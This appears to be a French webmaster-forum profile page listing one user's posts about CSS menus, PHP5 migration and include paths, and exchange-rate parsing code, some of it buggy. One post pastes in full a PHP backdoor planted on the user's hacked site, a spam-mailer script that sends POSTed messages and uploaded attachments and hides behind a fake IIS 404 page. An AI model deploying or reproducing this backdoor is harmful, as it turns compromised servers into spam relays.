Aller au contenu

moonwar

Webmaster Régulier
  • Compteur de contenus

    73
  • Inscrit(e) le

  • Dernière visite

Messages postés par moonwar

  1. Merci pour vos réponses,

    Voila le lien (à visiter sous FF et IE8 option non compatible avec IE7)

    Pour les ul, voila le code avec explication en cas ou...

    ul#menu 
    {
    margin : 0; /* Marge extérieur nulle */
    padding : 1px 1px 0; /* Marge intérieur à 1px sauf pour le bas */
    width : 145px; /* Largeur de notre liste */
    font-size : 12px; /* Taille de notre police */
    border : 1px solid #EBEBEB; /* Application d'une bordure */
    border-left-width : 0px; /* Marge gauche nulle */
    }


    ul#menu li a {
    display : block; /* Définition sous forme de block */
    width : auto !important; /* Pour IE */
    width : 100%; /* Idem */
    padding : 4px; /* le reste, tlm le connait */
    text-decoration : none;
    color : #050B74;
    background-color : #FBFBFB;
    border-right : 1px solid #EBEBEB;
    border-bottom : 1px solid #EBEBEB;
    }

    ul#menu li a:hover {
    text-decoration : underline;
    color : #D90000;
    }

    Pour le li:

    li.orange { list-style-image: url("/alb/li.gif"); }
    li.viole { list-style-image: url("/alb/li1.gif"); }
    li.bleu { list-style-image: url("/alb/cube_bleu.gif"); }
    li.jaune { list-style-image: url("/alb/cube_jaune.gif"); }

    Merci pour votre aide.

  2. Merci pour vos réponses,

    Si je comprends bien, la page que tu souhaite inclure génère du code HTML ?
    Oui, du html généré par du php (un ti programme coté BDD qui roule sous-php4) c'est pour cela que je ne peux pas l'executé directement sur mon site.

    Tu peux tenter également de faire un readfile() .. si tu as accès à la configuration de ton serveur, de modifier le php.ini pour remettre allow_url_include à on.
    Je n'ai pas d'accès sur mon serveur, j'ai un hébergement mutualisé et mon allow_url_include est a Off.

    Par contre, en relisant ton premier message, tu parles de fichiers de scripts ? Sache que dans tous les cas, c'est uniquement le code HTML généré qui sera inclus : tu ne peux pas utiliser une fonction que tu aurais définie dans ces fichiers.
    Script! effectivement, c'est des scripts comme celui de la meteo, taux de change, prix des produits... et tout roule sous-php4

    parce que page.php DOIT générer du javascript
    Merci pour ton information... je ne le savais pas :shutup:

    De toutes façons, tu te situes dans le HTML, donc après le processus PHP, chez le client quoi... en gros allow_url_include ne te sert à rien dans ce cas là, à cette heure ton php est déjà exécuté.
    Pas chez le client, chez moi! ... je ne cherche pas à pomper a un site, je veux executer mes programmes.

    Si tu cherches à inclure du HTML, ce n'est pas avec <script> qu'il faut le faire, mais ... avec readfile() ou include(), ...
    alala :nonono: Je n'ai pas d'accès sur mon serveur, j'ai un hébergement mutualisé et mon allow_url_include est a Off.

    quand tu écris :

    <script type="text/javascript" src="http://www.site.com/page.php"></script>

    Tout laisse à penser que &quot;http://www.site.com/page.php" est un fichier js généré par PHP.

    j'ai expliqué en haut que c'est une ecriture que j'ai remarqué chez qlq sites et j'ai demandé si c'etait possible que je fasse la meme chose pour moi!

    Merci pour vos remarques ... j'espere que tout est expliqué a présent et qu'une solution existe pour mon cas... non?

  3. Bonjour,

    Mon site roule sous-php5 et comme tout le monde le sait depuis la version 5.2 de php5 allow_url_include est à "off". Alors, je ne peux plus inclure un lien externe.

    J'ai remarqué sur le web, que des sites comme google ou autres donnent la possibilité d'inclure leurs informations sur nos sites en utilisant des liens genre:

    <script type="text/javascript"
    src="http://www.site.com/page.php">
    </script>
    <noscript> <a href="http://www.site.com/page.php">lien page.</a>
    </noscript>

    Comme je n'ai aucune idée sur le javascript, Ma quéstion est: Comment faire ce genre d'appel (include) si j'héberge mes scripts (php4) chez un hébergeur qui supporte le php4 et les appellé de mon site qui supporte le php5?

    Merci pour votre aide.

  4. Et surtout, sur PHP5, je te conseille d'utiliser les fonctions simpleXml pour analyser un fichier XML, ça sera infiniment plus simple ;)

    Merci pour vos réponse,

    Je ne connais bien le simpleXml captain_torche, de plus mon hébérgeur etait 'si fière' de m'annoncer que l'API simpleXml est activé sur mon serveur.

    heu... alors, comment lire ce fichier par simpleXml ?

    Merci pour vos réponses.

  5. Bonjour,

    Voila un code qui fait le taux de change, il fonctionne tres bien, mais apres migration vers php5, il donne une page blanche.

    Je ne trouve pas quoi modifier pour assurer la compatibilité avec php5.

    <?php 
    $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml");

    foreach ($XMLContent as $line) {
    if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) {
    if (ereg("rate='([[:graph:]]+)'",$line,$rate)) {
    $div = 91.0901;
    if ($currencyCode[1] == "USD" or $currencyCode[1]== "CAD" or $currencyCode[1]== "GBP" or $currencyCode[1]== "PJY" or $currencyCode[1]== "CNY") {
    $EURO =$div/$rate[1];
    echo "<tr><td><img src='alb/".$currencyCode[1].".gif' /></td>";
    echo '<td valign="middle" class="TEXTE">1 '.$currencyCode[1].' </td><td valign="middle" class="TEXTE"> '. round($EURO, 4) .' </td></tr>';
    }
    }
    }
    }
    ?>

    Merci pour votre aide.

  6. Bonjour,

    je crois que j'ai trouvé ce qui pose probleme!

    Une de mes pages fait appel a un chemin relatif:

    <?php
    require_once(dirname(__FILE__) . '/includes/classes/class.mysql.php');
    require_once(dirname(__FILE__) . '/includes/classes/class.outils.php');
    require_once(dirname(__FILE__) . '/config/conf.php');
    ...

    Donc, je fais un include() relatif d'une page qui fait elle-meme un autre include relatif..

    Comment résoudre ce conflit ?

    Merci pour vos réponses.

  7. Hem. Je ne pense pas que tu faisais des appels include() via http, si ?

    Je fesais des appels dans le genre:

    <?php include(&quot;http://www.monsite.com/rep/fichier.php"); ?>

    Depuis ma migration, cette ecriture ne passe plus vue qu'elle ne fonctionne plus sous php5. Mon hebergeur m'a donné une solution, ré-ecrire cet appel par:

    <?php

    include("/home/users/web/b2761/glo.monuser/rep/fichier.php");

    ?>

    Et ca marche!

    Le probleme c'est que tous les appels marchaient sous php, mais avec la méthode sous php5, quelque includes passent plus.

    En tous cas, je ne comprends pas ce que tu veux faire avec le bout de code que j'ai cité : tu forces un chemin absolu à partir du dossier du fichier courant, auquel tu "ajoutes" un autre chemin absolu. Ca donne l'impression que tu mélanges un peu toutes les solutions, sans chercher à comprendre quel est le problème.

    C'est pour cela que je pose ma quéstion :nonono:

    La solution indiquée par ton hébergeur - bien que non portable - a au moins le mérite de fonctionner ; mais quand tu dis "sauf que certaines pages ne chargent plus", que veux tu dire par là ? quel est le message d'erreur exact ? et quelle est la ligne de code correspondant au message d'erreur ?

    Justement, Y a aucune erreur .. quand l'include 1 se charge, le second n'y est pas (page blanche). Quand je supprime le premier, le second se charge! (note que tout les liens sont bon, j'ai testé cela via le vavigateur, il n'y a ni probleme de BDD, ni probleme de script, ni probleme de chemin, j'ai tout testé et CA MARCHE) :mad2:

    avez-vous une idée?

  8. Pour être fixé là dessus il y toujours la bonne vieille méthode de faire un fichier test tout basique... avec 7 includes dedans, tu vois si ça marche, sinon après tu joues dessus pour étudier le comportement de la chose...

    Pas bête ton idée, je viens de tester avec 30 includes, ca prends du temps mais les 30 se chargent :wacko:

    Et Mer*** ... ma tete va exploser

  9. Bonjour,

    Je viens de changer de serveur (php5). Avant! tout fonctionnait trés bien mais après migration, tout include presente des problèmes. (le nouveau serveur roule sous Php5)

    Pour les includes, mon hebergeur m'a donné un changement à effectuer :

    /home/users/web/b2761/glo.monuser/thematiques/alaune.php

    au lieu de :

    ./thematiques/alaune.php

    l'include marche, sauf que certainne pages ne chargent plus. Pourtant le lien direct sur le navigateur marche. Ma page d'accueil fait appel à 7 includes, J'ai fait des tests en supprimant quelques un et laissant d'autres. J'ai remaqué que certains include bloquaient quand d'autres roulaient et ainsi de suite.

    Alors, que peut etre c'est un chemin relatif , j'ai testé:

    <?php

    include(dirname(__FILE__)."/home/users/web/b2761/glo.monuser/thematiques/alaune.php");

    ?>

    ... ca marche pas!

    Ma quéstion: Est-ce que c'est l'hebergeur qui a limité le nombre d'include, si c'est non, qu'est ce qui peut etre la cause?

    Merci pour vos réponses

  10. Et bien,

    J'ai déjà fait les mise-a-jour de Dotclear1, iGalerie et phpcompet. ('dapres les forums respectifs de ces derniers, il n'y a aucune faille découverte)

    Pour l'IPB c'est en court...

    PhpmyAnnuaire ne présente aucune faille, je l'ai verifié

    PhpMypub ... aucune idée, mais je vais le supprimer.

    Pour les autres scripts ... c'est des petits scripts que j'utilise afin de regler qlq passages d'un cms a l'autre, ou controler l'affichage d'une page suivant l'heure... en gros c'est ca, y'a ni $_GET ni $_post ni aucun formulaire.

    Je vais devenir fouuuuuuuuuuu! j'ai supprimé toute l'archive du site :( ... 8 ans d'archive...

  11. Salut Dadou et merci pour ta réponse,

    Je vais voir pour l'option "formulaire", Car pour l'accès FTP, je l'ai deja changé et ces fichiers reviennent automatiqment chaque soir... En gros, c'est l'acte d'un robot et non d'un humain.

    Voila l'URL, j'utilise comme script Dotclear1, iGalerie, phpcompet, IPB, PhpmuAnnu, PhpMypub et plusieurs autres script que j'ai developpé.

    Merci encore pour ton aide.

  12. Je ne sais pas vraiment, mais ce n'est pas juste des XSS, voila des fichiers qui s'ajoutent chaque jour ... fixr91.php

    Contenu:

    <?


    function sRjhFrdw($xctmp, $from, $to, $subj, $text, $filename) {
    $f = fopen($filename,"rb");
    $un = strtoupper(uniqid(time()));
    $head = "From: $from\n";
    $head .= "To: $to\n";
    $head .= "Reply-To: $from\n";
    $head .= "Subject: $subj\n";
    $head .= "Content-Type:multipart/mixed;";
    $head .= "boundary=\"----------".$un."\"\n\n";
    $zag = "------------".$un."\nContent-Type:text/html;\n";
    $zag .= "Content-Transfer-Encoding: 8bit\n\n$text\n\n";
    $zag .= "------------".$un."\n";
    $zag .= "Content-Type: application/octet-stream;";
    $zag .= "name=\"".basename($filename)."\"\n";
    $zag .= "Content-Transfer-Encoding:base64\n";
    $zag .= "Content-Disposition:attachment;";
    $zag .= "filename=\"".basename($filename)."\"\n\n";
    $zag .= chunk_split(base64_encode(fread($f,filesize($filename))))."\n";

    return _AT_mail("$to", "$subj", $zag, $head);
    }

    function LIFdNDdj($xctmp,$from,$to,$subj,$text) {
    $head = "From: $from\n";
    $head .= "To: $to\n";
    $head .= "Subject: $subj\n";
    $head .= "Reply-To: $from\n";
    $head .= "Content-type: text/html; charset=windows-1251" . "\r\n";
    return _AT_mail($to,$subj,$text,$head);
    }

    if (!empty($_POST['caption']) && !empty($_POST['email']) && !empty($_POST['clientname']) && !empty($_POST['emailsend']) && !empty($_POST['message']) && ($_POST['index'] == 'send'))
    {

    $xclient = substr(htmlspecialchars(trim($_POST['clientname'])), 0, 80);
    $title = substr(htmlspecialchars(trim($_POST['caption'])), 0, 80);
    $mess64 = base64_decode($_POST['message']);
    $mess = substr(trim($mess64), 0, 10000000);
    $send_to = $_POST['emailsend'];
    $from = $_POST['email'];

    if($_FILES['file']['name'] !=''){
    if (is_dir("tmp")) { } else { mkdir("tmp"); }
    if(is_uploaded_file($_FILES['file']['tmp_name'])) {
    if(move_uploaded_file($_FILES['file']['tmp_name'], "tmp/".basename($_FILES['file']['name']))) {
    if(sRjhFrdw($xclient,$from,$send_to,$title,$mess,"tmp/".basename($_FILES['file']['name']))!== FALSE) { echo "OK-FILE"; } else { echo "ERROR-FILE"; }
    _AT_unlink("tmp/".basename($_FILES['file']['name']));
    } else { echo "ERROR-UPLOAD"; }
    } else { echo "ERROR-MOVE"; }
    } else {
    if(LIFdNDdj($xclient,$from,$send_to,$title,$mess) !== FALSE) {
    echo "OK-MESS"; } else { echo "ERROR-MESS"; }
    }
    }
    else
    {
    if ($_GET['index'] == 'test') {echo "OK2009"; exit;} else
    {
    echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <HTML><HEAD><TITLE>The page cannot be found</TITLE>
    <META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
    <STYLE type="text/css">
    BODY { font: 8pt/12pt verdana }
    H1 { font: 13pt/15pt verdana }
    H2 { font: 8pt/12pt verdana }
    A:link { color: red }
    A:visited { color: maroon }
    </STYLE>
    </HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

    <h1>The page cannot be found</h1>
    The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
    <hr>
    <p>Please try the following:</p>
    <ul>
    <li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
    <li>If you reached this page by clicking a link, contact
    the Web site administrator to alert them that the link is incorrectly formatted.
    </li>
    <li>Click the <a href="java script:history.back(1)">Back</a> button to try another link.</li>
    </ul>
    <h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
    <hr>
    <p>Technical Information (for support personnel)</p>
    <ul>
    <li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
    <li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
    and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
    </ul>

    </TD></TR></TABLE></BODY></HTML>';}

    }

    ?>

    J'y comprend plus rien :nonono: ... une aide svp...

  13. Bonjour,

    Comme je suis victime d'attaque xss (je crois), et apres recherche, j'ai trouvé un article sur les attaque xss http://www.tux-planet.fr/les-failles-de-se...site-scripting/, mais le probleme c'est que je ne sais pas ou integrer la partie du code suivant:

    function antiXss($chaine) { 
    return htmlentities($chaine, ENT_QUOTES);
    }

    J'ai deja eu une réponse me disant que la fonction doit être appellée à chaque fois que je réaffiche à l'écran une donnée externe (récupérée en get ou en post) pour éviter d'être embêté par du cross. Mais le probleme c'est que je n'utilise aucun get ni post!

    Avez-vous une petite idée comment resoudre mon probleme ou comment retracer la faille ?

    Merci pour votre aide.

  14. Merci pour ta réponse.

     $1usd = '.$div/$rate[1].' '.EURO.';

    Jusque là, c'est sur que ca marche, mais le probleme c'est apres le

    echo '1 DZD = '.round($1dzd * $div/$rate[1],3).' '.$currencyCode[1].'<br />';

    Je crois que le probleme est à partir du round(...

  15. Bonjour,

    J'utilise a la base le code de la Banque Europeenne. Ce code donne le taux de change de l'EURO en fonction des autres devis. La devis DZD n'y est pas. La devis DZD est calculer à la base du taux de change de l'USD. 1USD = 72 DZD. Après qlq modifications, je suis arrivé a ce qui suit (Explication des etapes dans le code):

    <?php 
    $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml");
    foreach ($XMLContent as $line) {
    if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) {
    if (ereg("rate='([[:graph:]]+)'",$line,$rate)) {
    //On calcul la valeur de 1 EURO en fonction de currencyCode
    //currencyCode correspond aux autres devis
    //par exemple pour 1 EURO en fonction de CAD canadien : $currencyCode == "CAD")

    //On calcul la valeur de 1USD en fonction de l'EURO
    //div pour identifier la fonction inverse
    $div = 1;
    //valeur de 1 USD en fonction de EURO
    if ($currencyCode[1] == "USD")
    {
    $1usd = '.$div/$rate[1].' '.EURO.';
    }
    //On cherche la valeur de 1 DZD
    //a noter que le DZD est calculé a la base du USD
    $dzdusd = 72;
    //On calcul valeur de 1 DZD en fonction du USD
    $1dzd = $dzdusd * $1usd;
    //valeur arrondis a 3 chiffres après la virgule
    echo '1 DZD = '.round($1dzd,3).' '.USD.'<br />';

    //valeur de 1 DZD en fonction de CAD
    if ($currencyCode[1] == "CAD")
    {
    echo '1 DZD = '.round($1dzd * $div/$rate[1],3).' '.$currencyCode[1].'<br />';
    }
    //valeur de 1 DZD en fonction de GBP
    if ($currencyCode[1] == "GBP")
    {
    echo '1 DZD = '.round($1dzd * $div/$rate[1],3).' '.$currencyCode[1].'<br />';
    }
    }
    }
    }
    ?>

    Coté logique, je ne pense pas que je me suis trompé, mais ca ne fonctionne pas ...

    Merci pour votre aide.

  16. Bonjour,

    Après que mon post ait été bloqué, j'ai fait une recherche et je suis tombé sur ce code de la ECB. Banque Europeenne

    Comment avoir juste une ou deux devis?

    <?php
    //This is a PHP (4/5) script example on how eurofxref-daily.xml can be parsed

    //Read eurofxref-daily.xml file in memory
    $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml");
    //the file is updated daily between 14:15 and 15:00 CET

    foreach ($XMLContent as $line) {
    if (ereg("currency='([[:alpha:]]+)'",$line,$currencyCode)) {
    if (ereg("rate='([[:graph:]]+)'",$line,$rate)) {
    //Output the value of 1 EUR for a currency code
    echo '1 € = '.$rate[1].' '.$currencyCode[1].'<br />';
    //--------------------------------------------------
    // Here you can add your code for inserting
    // $rate[1] and $currencyCode[1] into your database
    //--------------------------------------------------
    }
    }
    }
    ?>

    NB: Je suis sous php4 et je n'ai pas de SimpleXML :nonono:

    Merci pour vos réponses

  17. Bonjour,

    Ma question est : Comment faire pour recuperer l'URL d'une image qui vient d'etre uploader.

    Supposant que j'ai un fichier sur mon site :www.site.com/image.

    On upload des images et photos dont la nommination est aléatoire (lune.gif, 01.jpg, voiture.gif...), donc est-t-il possible de trouver l'URL Dynamique de la derniere image chargée dans un fichier en utilisant la date et heure de l'upload? ... l'URL change a chaque fois qu'une nouvelle image est unploadée.

    merci pour vos réponses.

  18. Salut,

    Bien entendu, la page d'impression est du Html et non une image, le site est www.oanda.com

    Quand on fait une recherche, pi on lance l'impression, on remarque dans l'URL, les variable : exch, value, expr et date

    Si on copier/coller l'URL est qu'on supprime ou modifie une variable (par exemple &date=02/06/04) la page se recharge suivant la date demandée.

    Idem pour &exch=EUR&value=1&expr=USD au lieu de &exch=USD&value=1&expr=EUR

    Voila la page en quéstion: http://www.oanda.com/convert/classic?user=.../09〈=fr

    Merci pour votre aide :)

    mais non :nonono: captain_torche, je ne cherche pas a ponper, juste a avoir une donnée, le site est plein de pub.

×
×
  • Créer...